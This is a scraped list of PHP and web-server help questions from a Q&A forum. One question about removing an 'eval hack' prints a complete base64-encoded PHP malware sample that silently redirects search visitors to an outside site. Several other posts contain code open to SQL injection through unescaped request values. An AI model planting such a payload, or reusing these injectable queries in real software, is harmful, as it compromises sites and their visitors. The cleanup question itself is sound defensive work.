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  • Is WAMP installed to use mod_php?

    - by MrXexxed
    Really simple question, I'm completely confused about whether the 'default' state for php to run in is as a part of apache, until today I thought php was a separate program which apache communicated with. So is WAMP installed as mod_php?

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  • is Drupal good business POS [on hold]

    - by mavili
    I've got to work on a POS-type web application for a money transfer, shipping, and other customer services like translation and help-out charges. I was planning to do that in pure PHP without frameworks or CMS's, but then Drupal came into play and I'm wondering if I should learn Drupal and do the app with it. My question is, is Drupal good for such a work, and if it is will it take me more than a week to learn enough to make it possible? For info, I'm a decent PHP programmer.

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  • setting up eclim to support php

    - by tipu
    i have the plugin pdt installed with my eclim using: DISPLAY=:1 ./eclipse/eclipse -nosplash -consolelog -debug \ -application org.eclipse.equinox.p2.director \ -repository http://download.eclipse.org/releases/helios \ -installIU org.eclipse.php.feature.group i compiled the thing using dargs for php: ant -Declipse.home=/home/tipu/downloads/eclipse -Dplugins=php but creating a project gives me: java.lang.IllegalArgumentException: Unable to find nature for alias 'php'. Supported aliases include: javascript=org.eclipse. wst.jsdt.core.jsNature, java=org.eclipse.jdt.core.javanature while executing command (port: 9091): -editor vim -command project_create -f "/home/tipu/phpproj2/" -n php thoughts on how to fix?

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  • OSX Snow Leopard - Multiple httpd/apache instances for PHP 5.2 & 5.3 together

    - by iongion
    I need to run Apache with both php 5.2 and 5.3, without other webservers such as nginx, lighttpd, etc. Just Apache HTTPD. The easiest way to have both PHP 5.2 and PHP 5.3 on Apache, on the same machine, is to have them run in different webservers (or at least different webserver instances). I already do this on windows, it works flawlessly because it is easy to specify the conf file that a specific instance loads. But how can this be achieved on Mac OSX, without ditching the web server that OSX comes with built in ? The basic is to create N-ip addresses that each apache instance will bind to, for example: 192.168.0.52 - This is for apache httpd with PHP 5.2 192.168.0.53 - This is for apache httpd with PHP 5.3 (each apache will bind to its own ip address) On OSX, i don't know how to configure HTTPD to start as multiple service/daemon, with different startup httpd.conf files!

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  • nginx: try_files not finding static files, falling back to PHP

    - by Wells Oliver
    Relevant configuration: location /myapp { root /home/me/myapp/www; try_files $uri $uri/ /myapp/index.php?url=$uri&$args; location ~ \.php { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include /etc/nginx/fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root/index.php; } } I absolutely have a file foo.html in /home/me/myapp/www but when I browse to /myapp/foo.html it is handled by PHP, the final fallback in the try_files list. Why is this happening?

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  • PHP 5.2 installation with GD on CentOS 6

    - by Pratik Thakkar
    I am trying to install PHP 5.2.17 on CentOS 6.2. I have downloaded RPMs from http://www6.atomicorp.com/channels/atomic/centos/6/i386/RPMs/ Problem is that the PHP RPM seems to have GD disabled by default. Hence in spite installing php-gd RPM, GD is disabled. Is there any way that I can enable GD. Atomicorp seems to be the only website that has PHP 5.2.17 RPMs. I am not an advanced user to be able to compile PHP. I would appreciate help on this.

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  • grep, xargs, sed to clean up PHP eval hack

    - by roktechie
    I'm attempting to use the commands found on http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ to clean up a PHP eval based hack on a site. Sample code to match/remove <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Attempted command: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' The sudo has been added as it is required to have permission to read/write on the dir I'm accessing. The files list properly from grep, but are not changed by sed. Any suggestions?

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  • flickr phpflickr api

    - by sea_1987
    Overview I am trying to get a photo feed on to my site using Flickr's api and the phpflickr library. I can successfully get the photoset on to my site, but it shows all the photos from every photoset, what I was hoping to achieve was to show the primary photo from each photoset, and then if the user clicked on the image it would show the full photoset in a lightbox/shadowbox. My Code <div id="images" class="tabnav"> <ul class="items"> <?php $count = 1; ?> <?php foreach ($photosets['photoset'] as $ph_set): ?> <?php $parentID = $ph_set['parent']; ?> <?php $photoset_id = $ph_set['id']; $photos = $f->photosets_getPhotos($photoset_id); foreach ($photos['photoset']['photo'] as $photo): ?> <li> <a rel="shadowbox['<?=$count;?>']" href="<?= $f->buildPhotoURL($photo, 'medium') ?>" title="<?= $photo['title'] ?>"> <img src="<?= $f->buildPhotoURL($photo, 'rectangle') ?>" alt="<?= $photo['title'] ?>" width="210" height="160" title="<?= $photo['title'] ?>" /> <h3><?=$ph_set['title']?></h3> <p><?=$ph_set['description'];?></p> </a> </li> <?php endforeach; ?> <?php $count++; ?> <?php endforeach; ?> </ul> </div> Another Attempt I have also tried calling the getPhotos function differently, instead of sending it without any parameters I sent it with parameters $photos = $f->photosets_getPhotos($photoset_id, NULL, NULL, 1, NULL); The above code stopped the showing all the photos from each photoset and started showing just the primary image, but it also stopped making the rest of the photos accesible to me. Is there something I can do to make this work? I am totally out iof ideas. Regards and thanks

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  • CakePHP Help with Blog Tutorial

    - by Cameron
    I've just been following the tutorial on the CakePHP website to create a simple Blog as a way to learn a bit about Cake. However I have run into an error and not sure why as I have followed exactly what the tutorial says. The errors: Notice (8): Undefined property: View::$Html [APP/views/posts/index.ctp, line 17] Fatal error: Call to a member function link() on a non-object in /Users/cameron/Sites/dentist/app/views/posts/index.ctp on line 17 Here is my posts_controller <?php class PostsController extends AppController { var $helpers = array('Html', 'Form'); var $name = 'Posts'; function index() { $this->set('posts', $this->Post->find('all')); } function view($id = null) { $this->Post->id = $id; $this->set('post', $this->Post->read()); } } ?> and here is my model <?php class Post extends AppModel { var $name = 'Post'; } ?> and here are my views <!-- File: /app/views/posts/index.ctp --> <h1>Blog posts</h1> <table> <tr> <th>Id</th> <th>Title</th> <th>Created</th> </tr> <!-- Here is where we loop through our $posts array, printing out post info --> <?php foreach ($posts as $post): ?> <tr> <td><?php echo $post['Post']['id']; ?></td> <td> <?php echo $this->Html->link($post['Post']['title'], array('controller' => 'posts', 'action' => 'view', $post['Post']['id'])); ?> </td> <td><?php echo $post['Post']['created']; ?></td> </tr> <?php endforeach; ?> </table>

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  • change password code error.......

    - by shimaTun
    I've created a code to change a password. Now it seem contain an error. When before I fill in the form to change password.the error is: Warning: Cannot modify header information - headers already sent by (output started at C:\Program Files\xampp\htdocs\e-Complaint(FYP)\userChangePass.php:7) in C:\Program Files\xampp\htdocs\e-Complaint(FYP)\userChangePass.php on line 126 the code: <?php # userChangePass.php //this page allows logged in user to change their password. $page_title='Change Your Password'; //if no first_name variable exists, redirect the user if(!isset($_SESSION['userid'])){ header("Location: http://" .$_SERVER['HTTP_HOST']. dirname($_SERVER['PHP_SELF'])."/index.php"); ob_end_clean(); exit(); }else{ if(isset($_POST['submit'])) {//handle form. require_once('connectioncomplaint.php'); //connec to the database //check for a new password and match againts the confirmed password. if(eregi ("^[[:alnum:]]{4,20}$", stripslashes(trim($_POST['password1'])))){ if($_POST['password1'] == $_POST['password2']){ $p =escape_data($_POST['password1']); }else{ $p=FALSE; echo'<p><font color="red" size="+1"> Your password did not match the confirmed password!</font></p>'; } }else{ $p=FALSE; echo'<p><font color="red" size="+1"> Please Enter a valid password!</font></p>'; } if($p){ //if everything OK. //make the query $query="UPDATE access SET password=PASSWORD('$p') WHERE userid={$_SESSION['userid']}"; $result=@mysql_query($query);//run the query. if(mysql_affected_rows() == 1) {//if it run ok. //send an email,if desired. echo '<p><b>your password has been changed.</b></p>'; //include('templates/footer.inc');//include the HTML footer. exit(); }else{//if it did not run ok $message= '<p>Your password could not be change due to a system error.We apolpgize for any inconvenience.</p><p>' .mysql_error() .'</p>'; } mysql_close();//close the database connection. }else{//failed the validation test. echo '<p><font color="red" size="+1"> Please try again.</font></p>'; } }//end of the main Submit conditional. } ?> the error at this line:- header("Location: http://" .$_SERVER['HTTP_HOST']. dirname($_SERVER['PHP_SELF'])."/index.php"); please help me guy...

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  • Cannot populate form with ajax and populate jquery plugin

    - by Azriel_
    I'm trying to populate a form with jquery's populate plugin, but using $.ajax The idea is to retrieve data from my database according to the id in the links (ex of link: get_result_edit.php?id=34), reformulate it to json, return it to my page and fill up the form up with the populate plugin. But somehow i cannot get it to work. Any ideas: here's the code: $('a').click(function(){ $('#updatediv').hide('slow'); $.ajax({ type: "GET", url: "get_result_edit.php", success: function(data) { var $response=$(data); $('#form1').populate($response); } }); $('#updatediv').fadeIn('slow'); return false; whilst the php file states as follow: <?php $conn = new mysqli('localhost', 'XXXX', 'XXXXX', 'XXXXX'); @$query = 'Select * FROM news WHERE id ="'.$_GET['id'].'"'; $stmt = $conn->query($query) or die ($mysql->error()); if ($stmt) { $results = $stmt->fetch_object(); // get database data $json = json_encode($results); // convert to JSON format echo $json; } ?> Now first thing is that the mysql returns a null in this way: is there something wrong with he declaration of the sql statement in the $_GET part? Second is that even if i put a specific record to bring up, populate doesn't populate. Update: I changed the populate library with the one called "PHP jQuery helper functions" and the difference is that finally it says something. finally i get an error saying NO SUCH ELEMENT AS i wen into the library to have a look and up comes the following function function populateFormElement(form, name, value) { // check that the named element exists in the form var name = name; // handle non-php naming var element = form[name]; if(element == undefined) { debug('No such element as ' + name); return false; } // debug options if(options.debug) { _populate.elements.push(element); } } Now looking at it one can see that it should print out also the name, but its not printing it out. so i'm guessing that retrieving the name form the json is not working correctly. Link is at http://www.ocdmonline.org/michael/edit%5Fnews.php with username: Testing and pass:test123 Any ideas?

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  • Display label character by character using javascript

    - by Muhammad Sajid
    Hi, I am creating Hang a Man using PHP, MySQL & Javascript. Every thing is going perfect, I get a word randomly from DB show it as a label apply it a class where display = none. Now when I click on a Character that character become disable fine which i actually want but the label-character does not show. My code is: <link href="style.css" rel="stylesheet" type="text/css" media="screen" /> <?php include( 'config.php' ); $question = questions(); // Get question. $alpha = alphabats(); // Get alphabets. ?> <script language="javascript"> function clickMe( name ){ var question = '<?php echo $question; ?>'; var questionLen = <?php echo strlen($question); ?>; for ( var i = 0; i < questionLen; i++ ){ if ( question[i] == name ){ var link = document.getElementById( name ); link.style.display = 'none'; var label = document.getElementById( 'questionLabel' + i ); label.style.display = 'block'; } } } </script> <div> <table align="center" style="border:solid 1px"> <tr> <?php for ( $i = 0; $i < 26; $i++ ) { echo "<td><a href='#' id=$alpha[$i] name=$alpha[$i] onclick=clickMe('$alpha[$i]');>". $alpha[$i] ."</a>&nbsp;</td>"; } ?> </tr> </table> <br/> <table align="center" style="border:solid 1px"> <tr> <?php for ( $i = 0; $i < strlen($question); $i++ ) { echo "<td class='question'><label id=questionLabel$i >". $question[$i] ."</label></td>"; } ?> </tr> </table> </div>

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  • How can give validation on custom registration form in drupal?

    - by Nitz
    Hey Friends, I have created custom registration form in drupal 6. i have used changed the behavior of the drupal registration page by adding this code in themes. template file function earthen_theme($existing, $type, $theme, $path) { return array( // tell Drupal what template to use for the user register form 'user_register' => array( 'arguments' => array('form' => NULL), 'template' => 'user_register', // this is the name of the template ), ); } and my user_register.tpl.php file is looking like this... //php tag starts from here $forms['access'] = array( '#type' = 'fieldset', '#title' = t('Access log settings'), ); $form['my_text_field']=array( '#type' = 'textfield', '#default_value' = $node-title, '#size' = 30, '#maxlength' = 50, '#required' = TRUE ); <div id="registration_form"><br> <div class="field"> <?php print drupal_render($form['my_text_field']); // prints the username field ?> </div> <div class="field"> <?php print drupal_render($form['account']['name']); // prints the username field ?> </div> <div class="field"> <?php print drupal_render($form['account']['pass']); // print the password field ?> </div> <div class="field"> <?php print drupal_render($form['account']['email']); // print the password field ?> </div> <div class="field"> <?php print drupal_render($form['submit']); // print the submit button ?> </div> </div> How to make validation on "my_text_field" which is custmized. and exactly i want that as soon as user click on my_text_field then datetime picker should be open and whichever date user select, that date should be value in my_text_field. so guys help. Thanks in advance, nitish Panchjanya Corporation

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  • jQuery TypeError: example("input#autocomplete").autocomplete is not a function

    - by Ankush Kalia
    I have tried alot to remove this error but could not get success.When i am running this script on localhost its working fine but not working on Joomla frame work. The code is below: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <?php $viewFields=array('c++', 'java', 'php', 'coldfusion', 'javascript', 'asp', 'ruby'); ?> <link href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/themes/base/jquery-ui.css" rel="stylesheet" type="text/css"/> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5/jquery.min.js"></script> <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.8/jquery-ui.min.js"></script> <script> var example=jQuery.noConflict(); var arrayFromPHP = <?php echo json_encode($viewFields) ?>; example(document).ready(function() { example("input#autocomplete").autocomplete({ source: arrayFromPHP }); }); </script> </head> <body> <center> <p><img src="<?php echo JURI::base(); ?>images/search_1.png" border="0" alt="" /> <img src="<?php echo JURI::base(); ?>images/business_2.png" border="0" alt="" /> <img src="<?php echo JURI::base(); ?>images/review_3.png" border="0" alt="" /> </p> </center> <input id="autocomplete" /> </body> </html> Its giving me this error:- -- [08:30:24.870] Use of getAttributeNode() is deprecated. Use getAttribute() instead. @ http://50.116.97.120/~amarhost/storage/media/system/js/mootools-core.js:343 [08:30:27.853] TypeError: example("input#autocomplete").autocomplete is not a function @ http://50.116.97.120/~amarhost/storage/index.php/component/storage/?action=war&Itemid=105:210

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  • Display lable character by character using javascript

    - by Muhammad Sajid
    Hi, I am creating Hang a Man using PHP, MySQL & Javascript. Every thing is going perfect, I get a word randomly from DB show it as a label apply it a class where display = none. Now when I click on a Character that character become disable fine which i actually want but the label-character does not show. My code is: <link href="style.css" rel="stylesheet" type="text/css" media="screen" /> <?php include( 'config.php' ); $question = questions(); // Get question. $alpha = alphabats(); // Get alphabets. ?> <script language="javascript"> function clickMe( name ){ var question = '<?php echo $question; ?>'; var questionLen = <?php echo strlen($question); ?>; for ( var i = 0; i < questionLen; i++ ){ if ( question[i] == name ){ var link = document.getElementById( name ); link.style.display = 'none'; var label = document.getElementById( 'questionLabel' + i ); label.style.display = 'none'; } } } </script> <div> <table align="center" style="border:solid 1px"> <tr> <?php for ( $i = 0; $i < 26; $i++ ) { echo "<td><a href='#' id=$alpha[$i] name=$alpha[$i] onclick=clickMe('$alpha[$i]');>". $alpha[$i] ."</a>&nbsp;</td>"; } ?> </tr> </table> <br/> <table align="center" style="border:solid 1px"> <tr> <?php for ( $i = 0; $i < strlen($question); $i++ ) { echo "<td class='question'><label id=questionLabel$i >". $question[$i] ."</label></td>"; } ?> </tr> </table> </div>

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  • Symfony : ajax call cause server to queue next queries

    - by Remiz
    Hello, I've a problem with my application when an ajax call on the server takes too much time : it queue all the others queries from the user until it's done server side (I realized that canceling the call client side has no effect and the user still have to wait). Here is my test case : <script type="text/javascript" src="jquery-1.4.1.min.js"></script> <a href="another-page.php">Go to another page on the same server</a> <script type="text/javascript"> url = 'http://localserver/some-very-long-complex-query'; $.get(url); </script> So when the get is fired and then after I click on the link, the server finish serving the first call before bringing me to the other page. My problem is that I want to avoid this behavior. I'm on a LAMP server and I'm looking in a way to inform the server that the user aborted the query with function like connection_aborted(), do you think that's the way to go ? Also, I know that the longest part of this PHP script is a MySQL query, so even if I know that connection_aborted() can detect that the user cancel the call, I still need to check this during the MySQL query... I'm not really sure that PHP can handle this kind of "event". So if you have any better idea, I can't wait to hear it. Thank you. Update : After further investigation, I found that the problem happen only with the Symfony framework (that I omitted to precise, my bad). It seems that an Ajax call lock any other future call. It maybe related to the controller or the routing system, I'm looking into it. Also for those interested by the problem here is my new test case : -new project with Symfony 1.4.3, default configuration, I just created an app and a default module. -jquery 1.4 for the ajax query. Here is my actions.class.php (in my unique module) : class defaultActions extends sfActions { public function executeIndex(sfWebRequest $request) { //Do nothing } public function executeNewpage() { //Do also nothing } public function executeWaitingaction(){ // Wait sleep(30); return false; } } Here is my indexSuccess.php template file : <script type="text/javascript" src="jquery-1.4.1.min.js"></script> <a href="<?php echo url_for('default/newpage');?>">Go to another symfony action</a> <script type="text/javascript"> url = '<?php echo url_for('default/waitingaction');?>'; $.get(url); </script> For the new page template, it's not very relevant... But with this, I'm able to reproduce the lock problem I've on my real application. Is somebody else having the same issue ? Thanks.

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  • Matching array elements to get an array element at another index

    - by bccarlso
    I have a PHP array that I'm using to generate an HTML form. The PHP array is this: <?php $vdb = array ( array( "Alabama", 275), array( "Alaska", 197), array( "Arizona", 3322)); ?> The PHP to generate the HTML form is below. I need to have the value be the name of the state, because there is some AJAX I'm using to display which states a user has chosen. <?php echo "<table border='1'><thead><tr><th></th><th>State</th><th>Contacts</th><th>Email</th></tr></thead>"; for ($row = 0; $row < 42; $row++) { echo "<tr><td class='input_button'><input type='checkbox' name='vdb[]' value='".$vdb[$row][0]."' title='".$vdb[$row][1]."' /></td>"; echo "<td>".$vdb[$row][0]."</td>"; echo "<td>".$vdb[$row][1]."</td>"; } echo "</table>"; ?> What I'm trying to do is, on submission of the form, with the states the user selected, loop through the PHP array and total the numbers from the selected states. So if I checked Alabama and Alaska, I'd want to add 275 + 197. This is what I thought would have worked, but it's not: <?php $vendors = array(); if (isset($_POST["vdb"])) { $vendors = $_POST["vdb"]; } $ven_i = 0; $ven_j = 0; $ven_total = 0; foreach ($vendors as $value) { foreach ($vdb as $vdb_value) { if ($vendors[$ven_i] == $vdb[$ven_j][0]) { $ven_total += $vdb[$ven_j][1]; } $ven_j++; } $ven_i++; } ?> and then $ven_total should be the total I'm looking for. However, $ven_total just ends up being the first checkbox selected, and it ignores the rest. I am doing this correctly with the AJAX, displaying the total on the front end, but I don't know how to pass that on to the form submission. I'd rather not using GET and URL variables, because a user could type something into the URL and modify the count. Any idea what I'm doing wrong, or a better way to approach this that I would be able to understand? (Very much a novice programmer.)

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  • Contact form problem - I do receive messages, but no contents (blank page).

    - by nitbuntu
    I have a contact form on site which used to work, but since last few months has stopped working properly. This could have been due to some coding error that I can't figure out. What happens is that I receive the messages sent, but they are completely blank, with no contents at all. What could be the problems? I'm attaching first the front-end page, and then the back-end. Sample of contact.php the front-end code:- <div id="content"> <h2 class="newitemsxl">Contact Us</h2> <div id="contactcontent"> <form method="post" action="contactus.php"> Name:<br /> <input type="text" name="Name" /><br /> Email:<br /> <input type="text" name="replyemail" /><br /> Your message:<br /> <textarea name="comments" cols="40" rows="4"></textarea><br /><br /> <?php require("ClassMathGuard.php"); MathGuard::insertQuestion(); ?><br /> <input type="submit" name="submit" value="Send" /> * Refresh browser for a different question. :-) </form> </div> </div> Sample of contactus.php (backend code):- <?php /* first we need to require our MathGuard class */ require ("ClassMathGuard.php"); /* this condition checks the user input. Don't change the condition, just the body within the curly braces */ if (MathGuard :: checkResult($_REQUEST['mathguard_answer'], $_REQUEST['mathguard_code'])) { $mailto="[email protected]"; $pcount=0; $gcount=0; $subject = "A Stylish Goods Enquiry"; $from="[email protected]"; echo ("Great, you're message has been sent !"); //insert your code that will be executed when user enters the correct answer } else { echo ("Sorry, wrong answer, please go back and try again !"); //insert your code which tells the user he is spamming your website } while (list($key,$val)=each($HTTP_POST_VARS)) { $pstr = $pstr."$key : $val \n "; ++$pcount; } while (list($key,$val)=each($HTTP_GET_VARS)) { $gstr = $gstr."$key : $val \n "; ++$gcount; } if ($pcount > $gcount) { $comments=$pstr; mail($mailto,$subject,$comments,"From:".$from); } else { $comments=$gstr; mail($mailto,$subject,$comments,"From:".$from); } ?>

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  • Codeigniter not returning me to upload form after image upload.

    - by Drew
    I'm still very new to codeigniter. The issue i'm having is that the file uploads fine and it writes to the database without issue but it just doesn't return me to the upload form. Instead it stays in the do_upload and doesn't display anything. Even more bizarrely there is some source code behind the scenes. Can someone tell my what it is i'm doing wrong because I want to be returning to my upload form after submission. Thanks in advance. Below is my code: Controller: function do_upload() { if($this->Upload_model->do_upload()) { $this->load->view('home/upload_form'); }else{ $this->load->view('home/upload_success', $error); } } Model: function do_upload() { $config['upload_path'] = './uploads/'; $config['allowed_types'] = 'gif|jpg|png'; $config['max_size'] = '2000'; $this->load->library('upload', $config); if ( ! $this->upload->do_upload()) { $error = array('error' => $this->upload->display_errors()); return $error; } else { $data = $this->upload->data(); $full_path = 'uploads/' . $data['file_name']; $spam = array( 'image_url' => $full_path, 'url' => $this->input->post('url') ); $id = $this->input->post('id'); $this->db->where('id', $id); $this->db->update('NavItemData', $spam); return true; } } View (called upload_form): <html> <head> <title>Upload Form</title> </head> <body> <?php if(isset($buttons)) : foreach($buttons as $row) : ?> <h2><?php echo $row->image_url; ?></h2> <p><?php echo $row->url; ?></p> <p><?php echo $row->name; ?></p> <p><?php echo anchor("upload/update_nav/$row->id", 'edit'); ?></p> <?php endforeach; ?> <?php endif; ?> </body> </html>

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  • How do I add a filter button to this pagination?

    - by ClarkSKent
    Hey, I want to add a button(link), that when clicked will filter the pagination results. I'm new to php (and programming in general) and would like to add a button like 'Automotive' and when clicked it updates the 2 mysql queries in my pagination script, seen here: As you can see, the category automotive is hardcoded in, I want it to be dynamic, so when a link is clicked it places whatever the id or class is in the category part of the query. 1: $record_count = mysql_num_rows(mysql_query("SELECT * FROM explore WHERE category='automotive'")); 2: $get = mysql_query("SELECT * FROM explore WHERE category='automotive' LIMIT $start, $per_page"); This is the entire current php pagination script that I am using: <?php //connecting to the database $error = "Could not connect to the database"; mysql_connect('localhost','root','root') or die($error); mysql_select_db('ajax_demo') or die($error); //max displayed per page $per_page = 2; //get start variable $start = $_GET['start']; //count records $record_count = mysql_num_rows(mysql_query("SELECT * FROM explore WHERE category='automotive'")); //count max pages $max_pages = $record_count / $per_page; //may come out as decimal if (!$start) $start = 0; //display data $get = mysql_query("SELECT * FROM explore WHERE category='automotive' LIMIT $start, $per_page"); while ($row = mysql_fetch_assoc($get)) { // get data $name = $row['id']; $age = $row['site_name']; echo $name." (".$age.")<br />"; } //setup prev and next variables $prev = $start - $per_page; $next = $start + $per_page; //show prev button if (!($start<=0)) echo "<a href='pagi_test.php?start=$prev'>Prev</a> "; //show page numbers //set variable for first page $i=1; for ($x=0;$x<$record_count;$x=$x+$per_page) { if ($start!=$x) echo " <a href='pagi_test.php?start=$x'>$i</a> "; else echo " <a href='pagi_test.php?start=$x'><b>$i</b></a> "; $i++; } //show next button if (!($start>=$record_count-$per_page)) echo " <a href='pagi_test.php?start=$next'>Next</a>"; ?>

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  • Problems with MYSQL database

    - by shinjuo
    I have a database that worked fine until I decided to add a log onto the page. here is what I have now: <body> <?php if($_SERVER['REQUEST_METHOD'] == 'POST') { require("serverInfo.php"); mysql_query("UPDATE `cardLists` SET `AmountLeft` = `AmountLeft` + ".mysql_real_escape_string($_POST['Add'])." WHERE `cardID` = '".mysql_real_escape_string($_POST['Cards'])."'"); echo "\"" .$_POST['Add'] ."\" has been added to the inventory amount for the card \"". $_POST['Cards']. "\""; mysql_query("INSERT INTO `log` (`changes`, `amount`, `cardID`, `person`, Date)VALUES('ADDED','$_POST['Add']','$_POST['Cards']', '$_POST['Person']', NOW())"); mysql_close($link); } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <?php require("serverInfo.php"); ?> <?php $res = mysql_query("SELECT * FROM cardLists order by cardID") or die(mysql_error()); echo "<select name = 'Cards'>"; while($row=mysql_fetch_assoc($res)) { echo "<option value=\"$row[cardID]\">$row[cardID]</option>"; } echo "</select>"; ?> Amount to Add: <input type="text" name="Add" maxlength="8" /> Changes Made By: <select name="Person"> <option value="justin">Justin</option> <option value="chris">Chris</option> <option value="matt">Matt</option> <option value="dan">Dan</option> <option value="tim">Tim</option> <option value="amanda">Amanda</option> </select> <input type="submit" name ="submit" onClick= "return confirm( 'Are you sure you want to add this amount?');"> </form> <br /> <input type="button" name="main" value="Return To Main" onclick="window.location.href='index.php';" /> </body> </html> it works fine until I added the: mysql_query("INSERT INTO `log` (`changes`, `amount`, `cardID`, `person`, Date)VALUES('ADDED','$_POST['Add']','$_POST['Cards']', '$_POST['Person']', NOW())"); mysql_close($link); Can anyone see what is going on?

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  • How can I create a Searchstring for a Google AJAX Search API?

    - by elmaso
    Hello, i have this code to get the search resutls from the api: querygoogle.php: <?php session_start(); // Here's the Google AJAX Search API url for curl. It uses Google Search's site:www.yourdomain.com syntax to search in a specific site. I used $_SERVER['HTTP_HOST'] to find my domain automatically. Change $_POST['searchquery'] to your posted search query $url = 'http://ajax.googleapis.com/ajax/services/search/web?rsz=large&v=1.0&start=20&q=' . urlencode('' . $_POST['searchquery']); // use fopen and fread to pull Google's search results $handle = fopen($url, 'rb'); $body = ''; while (!feof($handle)) { $body .= fread($handle, 8192); } fclose($handle); // now $body is the JSON encoded results. We need to decode them. $json = json_decode($body); // now $json is an object of Google's search results and we need to iterate through it. foreach($json->responseData->results as $searchresult) { if($searchresult->GsearchResultClass == 'GwebSearch') { $formattedresults .= ' <div class="searchresult"> <h3><a href="' . $searchresult->unescapedUrl . '">' . $searchresult->titleNoFormatting . '</a></h3> <p class="resultdesc">' . $searchresult->content . '</p> <p class="resulturl">' . $searchresult->visibleUrl . '</p> </div>'; } } $_SESSION['googleresults'] = $formattedresults; header('Location: ' . $_SERVER['HTTP_REFERER']); exit; ?> search.php <?php session_start(); ?> <form method="post" action="querygoogle.php"> <label for="searchquery"><span class="caption">Search this site</span> <input type="text" size="20" maxlength="255" title="Enter your keywords and click the search button" name="searchquery" /></label> <input type="submit" value="Search" /> </form> <?php if(!empty($_SESSION['googleresults'])) { echo $_SESSION['googleresults']; unset($_SESSION['googleresults']); } ?> but with this code, I cant add a searchstring.. how can i add a search string like search.php?search=keyword ? thanks

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  • How should I handle the case in which a username is already in use?

    - by idealmachine
    I'm a JavaScript programmer and new to PHP and MySQL (want to get into server-side coding). Because I'm trying to learn PHP by building a simple online game (more specifically, correspondence chess), I'm starting by implementing a simple user accounts system. Of course, user registration comes first. What are the best practices for: How I should handle the (likely) possibility that when a user tries to register, the username he has chosen is already in use, particularly when it comes to function return values?($result === true is rather ugly, and I'm not sure whether checking the MySQL error code is the best way to do it either) How to cleanly handle varying page titles?($gPageTitle = '...'; require_once 'bgsheader.php'; is also rather ugly) Anything else I'm doing wrong? In some ways, PHP is rather different from JavaScript... Here is a (rather large) excerpt of the code I have written so far. Note that this is a work in progress and is missing security checks that I will add as my next step. function addUser( $username, $password ) { global $gDB, $gPasswordSalt; $stmt = $gDB->prepare( 'INSERT INTO user(user_name, user_password, user_registration) VALUES(?, ?, NOW())' ); $stmt || trigger_error( 'Failed to prepare statement: ' . htmlspecialchars( $gDB->error ) ); $hashedPassword = hash_hmac( 'sha256', $password, $gPasswordSalt, true ); $stmt->bind_param( 'ss', $username, $hashedPassword ); if( $stmt->execute() ) { return true; } elseif( $stmt->errno == 1062) { return 'exists'; } else { trigger_error( 'Failed to execute statement: ' . htmlspecialchars( $stmt->error ) ); } } $username = $_REQUEST['username']; $password = $_REQUEST['password']; $result = addUser( $username, $password ); if( $result === true ) { $gPageTitle = 'Registration successful'; require_once 'bgsheader.php'; echo '<p>You have successfully registered as ' . htmlspecialchars( $username ) . ' on this site.</p>'; } elseif( $result == 'exists' ) { $gPageTitle = 'Username already taken'; require_once 'bgsheader.php'; echo '<p>Someone is already using the username you have chosen. Please try using another one instead.'; } else { trigger_error('This should never happen'); } require_once 'bgsfooter.php';

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  • CodeIgniter Error Log Info + Errors

    - by fatnjazzy
